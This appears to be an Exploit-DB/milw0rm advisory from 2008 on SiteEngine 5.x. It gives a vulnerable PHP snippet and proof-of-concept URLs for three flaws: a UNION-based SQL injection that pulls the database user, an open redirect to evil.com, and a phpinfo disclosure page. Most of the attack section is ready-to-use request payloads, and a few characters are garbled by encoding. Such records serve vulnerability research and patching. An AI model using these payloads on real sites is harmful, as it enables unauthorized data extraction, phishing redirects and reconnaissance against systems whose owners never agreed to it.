SiteEngine 5.x Multiple Remote Vulnerabilities

vendor:

SiteEngine 5.x

by:

milw0rm.com

N/A

CVSS

N/A

SQL injection, URI Redirection, Information Disclosure

Unknown

CWE

Product Name: SiteEngine 5.x

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: Unknown

CPE: Unknown

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unknown

2008

SiteEngine 5.x Multiple Remote Vulnerabilities

Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability. POC: http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/* This vulnerability exist in board.php tooâ€¦â€¦ URI Redirection Vulnerability POC: http://www.test.com/api.php?action=logout&forward=http://evil.com Information Disclosure Vulnerability POC: http://www.test.com/misc.php?action=php_info

Mitigation:

Unknown

Source

Exploit-DB raw data:

SiteEngine 5.x Multiple Remote Vulnerabilities
Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability.

-=0x01=- SQL injection Vulnerability
vul code like this:
if ( intval( $id ) )
{
    require_once( $site_engine_root."lib/rss.php" );
$sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'";

POC:
http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/*
This vulnerability exist in board.php tooâ€¦â€¦

-=0x02=- URI Redirection Vulnerability
POC:
http://www.test.com/api.php?action=logout&forward=http://evil.com

-=0x03=- Information Disclosure Vulnerability
POC:
http://www.test.com/misc.php?action=php_info

ForFun~

-=EOF=-

# milw0rm.com [2008-10-23]